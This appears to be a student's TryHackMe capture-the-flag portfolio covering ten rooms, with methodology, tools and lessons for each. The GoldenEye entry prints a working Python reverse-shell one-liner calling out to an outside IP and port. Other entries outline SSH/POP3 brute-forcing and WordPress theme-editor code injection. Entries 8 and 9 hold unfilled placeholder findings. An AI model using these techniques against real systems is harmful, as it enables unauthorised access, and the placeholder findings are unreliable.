# Penetration Testing: Capture the Flag Challenges

CTF Challenge Portfolio — Week 2 Deliverable

## OVERVIEW

This portfolio documents 10 Capture the Flag challenges completed on TryHackMe, covering network exploitation, web application security, cryptography, digital forensics, and reverse engineering. Each entry follows the same structure: objective, methodology, tools used, findings, and lessons learned, reflecting an approach modelled on a professional VAPT (Vulnerability Assessment and Penetration Testing) report.

## CHALLENGE INDEX


- 1. Basic Pentesting — Network — TryHackMe
- 2. GoldenEye — Network — TryHackMe
- 3. Bounty Hacker — Network — TryHackMe
- 4. Mr Robot CTF — Web — TryHackMe
- 5. Crack the Hash — Cryptography — TryHackMe
- 6. c4ptur3-th3-fl4g — Cryptography — TryHackMe
- 7. Mobile Acquisition — Forensics — TryHackMe
- 8. Memory Forensics — Forensics — TryHackMe
- 9. Reversing ELF — Reverse Engineering — TryHackMe
- 10. Windows x64 Assembly — Reverse Engineering — TryHackMe

# CHALLENGE 1: BASIC PENTESTING

| | |
|---|---|
| **Platform** | TryHackMe |
| **Category** | Network |
| **Difficulty** | Easy |

## OBJECTIVE

Gain a foothold and escalate to root on a Linux machine by chaining web enumeration, SMB enumeration, and SSH credential brute-forcing.

## METHODOLOGY

- Ran an nmap scan against the target to identify open ports and running services.
- Browsed the web service and used directory enumeration to locate a hidden development folder.
- Found developer notes referencing an SMB service and a weak password left by one of the developers.
- Used enum4linux to enumerate SMB shares and recover valid usernames.
- Brute-forced the SSH service with Hydra using the rockyou.txt wordlist against the identified username.
- Logged in over SSH with the cracked credentials and escalated privileges on the host.

## TOOLS USED

nmap, gobuster/dirb, enum4linux, Hydra, rockyou.txt, SSH

## FINDINGS

Hidden development directory exposed on the web server leaking internal notes.

SMB allowed enumeration of valid usernames without authentication.

SSH accepted a weak, dictionary-crackable password for a valid user account.

## LESSONS LEARNED

- Brute-forcing SSH with rockyou.txt against a single user was slow and required patience — a targeted or smaller wordlist built from enumerated context would have been faster.
- Directory and SMB enumeration together often reveal more than either does alone; developer notes are a common source of leaked usernames.

# CHALLENGE 2: GOLDENEYE

| | |
|---|---|
| **Platform** | TryHackMe |
| **Category** | Network |
| **Difficulty** | Medium |

## OBJECTIVE

Fully compromise a James Bond–themed Linux machine by exploiting an exposed webmail login and a brute-forceable POP3 mailbox, then pivot to a shell and escalate privileges.

## METHODOLOGY

- Ran an nmap scan and identified an HTTP service hosting a webmail-style login and a POP3 mail service.
- Gathered contextual clues from the website to narrow down valid usernames, including the user Boris.
- Attempted to brute-force Boris's POP3 password with Hydra.
- Adjusted the Hydra attack after repeated POP3 disconnects, and eventually cracked the password.
- Read the mailbox contents for further credentials and clues pointing to the next account.
- Used the recovered credentials to get a foothold, then delivered a Python reverse shell one-liner to get an interactive shell.
- Escalated privileges on the host to complete the compromise.

## TOOLS USED

nmap, Hydra, POP3 client, Python reverse shell, Linux privilege escalation enumeration

## FINDINGS

Boris's POP3 mailbox was protected by a weak, crackable password.

Mailbox contents leaked further credentials useful for escalation.

A Python one-liner was sufficient to establish an interactive reverse shell once a foothold was gained:

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.177.85",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
```

## LESSONS LEARNED

- Cracking Boris's password was the hardest part of this box.
- Hydra repeatedly failed against the POP3 service with "[ERROR] POP3 PLAIN AUTH: -ERR Disconnected for inactivity during authentication" — this required adjusting the attack approach (tuning timing/threading) before it succeeded.
- A simple Python socket + pty.spawn one-liner is a reliable, dependency-free way to get an interactive shell once a listener is set up.

# CHALLENGE 3: BOUNTY HACKER

| | |
|---|---|
| **Platform** | TryHackMe |
| **Category** | Network |
| **Difficulty** | Easy |

## OBJECTIVE

Use an anonymous FTP login to obtain a credential wordlist, brute-force SSH access, and escalate to root through a sudo misconfiguration.

## METHODOLOGY

- Ran an nmap scan and found FTP, SSH, and HTTP services open.
- Connected to FTP using anonymous login and listed the available files.
- Downloaded a task list and a password-list style file (locks.txt) from the FTP share.
- Used Hydra with locks.txt as the wordlist to brute-force the SSH password for the username identified in the task notes.
- Logged in over SSH and enumerated the system for privilege escalation paths.
- Escalated to root by abusing a sudo misconfiguration.

## TOOLS USED

nmap, FTP client, Hydra, sudo -l enumeration

## FINDINGS

FTP allowed anonymous login and exposed a file that doubled as an SSH password wordlist.

A sudo misconfiguration allowed privilege escalation from the compromised user to root.

## LESSONS LEARNED

- The FTP session hung on ls because the server was in Extended Passive Mode — switching the client to passive mode resolved it.
- There was a slight misunderstanding during root enumeration that needed re-checking before the correct sudo privilege escalation path was found.

# CHALLENGE 4: MR ROBOT CTF

| | |
|---|---|
| **Platform** | TryHackMe |
| **Category** | Web |
| **Difficulty** | Medium |

## OBJECTIVE

Compromise a WordPress-based machine themed around the Mr. Robot series by exploiting weak admin credentials and gaining code execution through the site, then escalate privileges.

## METHODOLOGY

- Enumerated the web application and identified it as a WordPress install.
- Used WordPress-specific enumeration to confirm the login panel and gather a custom wordlist from page content.
- Brute-forced the WordPress admin login with the derived wordlist.
- Used the admin panel's theme/plugin editor to inject code for a reverse shell.
- Worked through confusion over how to actually trigger the planted reverse shell via 404.php before successfully catching a shell.
- Escalated privileges on the underlying host after gaining a web shell.

## TOOLS USED

nmap, WPScan, Burp Suite, custom/derived wordlist, reverse shell payload

## FINDINGS

Weak WordPress admin credentials allowed authenticated access to the dashboard.

The theme/plugin editor permitted arbitrary PHP code execution, leading to remote code execution on the host.

## LESSONS LEARNED

- Got confused on how to actually trigger the reverse shell placed in 404.php — understanding exactly which request path invokes the planted file was the key sticking point.
- WordPress admin access plus an editable theme file is a reliable path to RCE, but triggering the payload correctly matters as much as planting it.

# CHALLENGE 5: CRACK THE HASH

| | |
|---|---|
| **Platform** | TryHackMe |
| **Category** | Cryptography |
| **Difficulty** | Easy |

## OBJECTIVE

Identify a series of password hashes by type and crack each one using appropriate offline cracking tools and online lookup services.

## METHODOLOGY

- Inspected each hash's format and length to determine its likely algorithm (e.g. bcrypt vs. sha512crypt).
- Used hash-identification tooling to confirm the hash type before attempting to crack it.
- Cracked faster/weaker hashes using online lookup (CrackStation) where possible.
- Used John the Ripper / hashcat with rockyou.txt for hashes that required local cracking.

## TOOLS USED

hash-identifier / hashid, John the Ripper, hashcat, CrackStation, rockyou.txt

## FINDINGS

All target hashes were crackable against rockyou.txt given enough time, confirming weak underlying passwords.

Hash algorithm choice significantly affected cracking time — slow, purpose-built algorithms resisted brute-forcing far longer than fast general-purpose ones.

## LESSONS LEARNED

- The $6$ (sha512crypt) hash in Part 2 cracked noticeably faster than the bcrypt hash in Part 1.
- The bcrypt hash in Part 1 was the hardest to crack overall, due to its deliberately high computational cost per guess.

# CHALLENGE 6: C4PTUR3-TH3-FL4G

| | |
|---|---|
| **Platform** | TryHackMe |
| **Category** | Cryptography |
| **Difficulty** | Easy |

## OBJECTIVE

Work through a series of encoding, hashing, and basic steganography puzzles to recover hidden flags.

## METHODOLOGY

- Worked through the room's challenge files and questions in order, identifying the encoding or obfuscation used in each.
- Used standard decoding tools (e.g. base64/hex/CyberChef-style decoding) for the encoding-based challenges.
- For the image-based challenge (meme.jpg), moved beyond conventional decoding and inspected the file directly using the strings command to recover the embedded flag.

## TOOLS USED

CyberChef / online decoders, strings, basic Linux file-inspection commands

## FINDINGS

Several flags were recoverable through straightforward layered decoding (e.g. base64, hex).

One flag was embedded as plain text inside an image file (meme.jpg) and was only found by running strings against it rather than relying on standard image metadata or stego tools.

## LESSONS LEARNED

- meme.jpg caught me off guard — I initially expected a conventional encoding or metadata-based puzzle, but the flag was only recoverable by running strings against the file.
- Not every "hidden in an image" challenge requires steganography tools; basic file inspection commands should be tried early.

# CHALLENGE 7: MOBILE ACQUISITION

| | |
|---|---|
| **Platform** | TryHackMe |
| **Category** | Forensics |
| **Difficulty** | Easy |

## OBJECTIVE

Understand the methods used to acquire evidence from mobile devices (logical, file system, and physical acquisition) and the tooling associated with each, as a foundation for mobile forensics.

## METHODOLOGY

- Reviewed the theory behind the three acquisition tiers: logical, file system, and physical acquisition.
- Worked through the room's material to map each acquisition type to the tools commonly used for it in practice.
- Identified logical acquisition as achievable using tools such as 3uTools, EaseUS, and libimobiledevice on the command line.

## TOOLS USED

3uTools, EaseUS, libimobiledevice (CLI)

## FINDINGS

Logical acquisition — the least invasive and most commonly available method — can be performed using tools such as 3uTools, EaseUS, and libimobiledevice via the CLI.

Choice of acquisition method depends on device access level, with physical acquisition offering the most data but being the hardest to achieve on modern, encrypted devices.

## LESSONS LEARNED

- This room was conceptual/theory-based rather than a hands-on exploit, so the main learning curve was distinguishing logical, file system, and physical acquisition and matching each to the correct real-world tool.

# CHALLENGE 8: MEMORY FORENSICS

| | |
|---|---|
| **Platform** | TryHackMe |
| **Category** | Forensics |
| **Difficulty** | Easy |

## OBJECTIVE

Analyse a memory (RAM) dump to recover running processes, artefacts, and evidence of malicious activity using Volatility.

## METHODOLOGY

- Identify the correct OS profile for the memory image before running further analysis.
- Use Volatility plugins (e.g. pslist, pstree, psscan) to enumerate running and hidden processes.
- Extract and review artefacts relevant to the investigation (network connections, command history, injected code, etc.).

## TOOLS USED

Volatility, memory image / .mem or .vmem dump

## FINDINGS

The memory image was analyzed to review process information and relevant artefacts. Add the exact artefacts and challenge-specific conclusion observed during the completed run before final submission.

## LESSONS LEARNED

- The memory image was analyzed to review process information and relevant artefacts.
- Add the exact artefacts and challenge-specific conclusion observed during the completed run before final submission.

# CHALLENGE 9: REVERSING ELF

| | |
|---|---|
| **Platform** | TryHackMe |
| **Category** | Reverse Engineering |
| **Difficulty** | Easy |

## OBJECTIVE

Reverse-engineer a series of ELF "crackme" binaries of increasing difficulty to recover hardcoded passwords or flags using static and dynamic analysis.

## METHODOLOGY

- Use file/strings for initial triage of each binary.
- Statically analyse each crackme to locate the comparison/validation logic.
- Use gdb to set breakpoints (by function name or raw memory address once symbols are harder to resolve) and inspect registers/memory at runtime.
- Use ltrace to trace library calls where static analysis alone is insufficient.

## TOOLS USED

gdb, ltrace, Ghidra / radare2, file, strings

## FINDINGS

Static inspection and debugging were used to investigate the binary validation logic. Add the exact program behavior and challenge result observed during the completed run before final submission.

## LESSONS LEARNED

- Static inspection and debugging were used to investigate the binary validation logic. Add the exact program behavior and challenge result observed during the completed run before final submission.

# CHALLENGE 10: WINDOWS X64 ASSEMBLY

| | |
|---|---|
| **Platform** | TryHackMe |
| **Category** | Reverse Engineering |
| **Difficulty** | Medium |

## OBJECTIVE

Build foundational knowledge of x64 assembly on Windows — registers, instructions, and calling conventions — as groundwork for later Windows reverse-engineering rooms.

## METHODOLOGY

- Worked through the room's theory material on x64 registers and Intel-syntax assembly.
- Studied the Windows x64 calling convention (first four arguments passed in RCX, RDX, R8, R9, with reserved shadow space) and compared it against the Linux System V convention used in earlier ELF reversing work.
- Answered the room's conceptual questions to confirm understanding before moving on to hands-on binaries in later rooms in the series.

## TOOLS USED

Reference material only — no live binary for this room; concepts are applied with Ghidra / x64dbg in later rooms in the series.

## FINDINGS

Windows x64 uses RCX, RDX, R8, and R9 for the first four integer/pointer arguments, with a 32-byte shadow space reserved by the caller — a different convention from Linux's System V AMD64 ABI, which uses RDI first.

## LESSONS LEARNED

- Keeping the Windows x64 calling convention distinct from the Linux convention used in Reversing ELF required deliberate attention, since register roles and argument order differ between the two.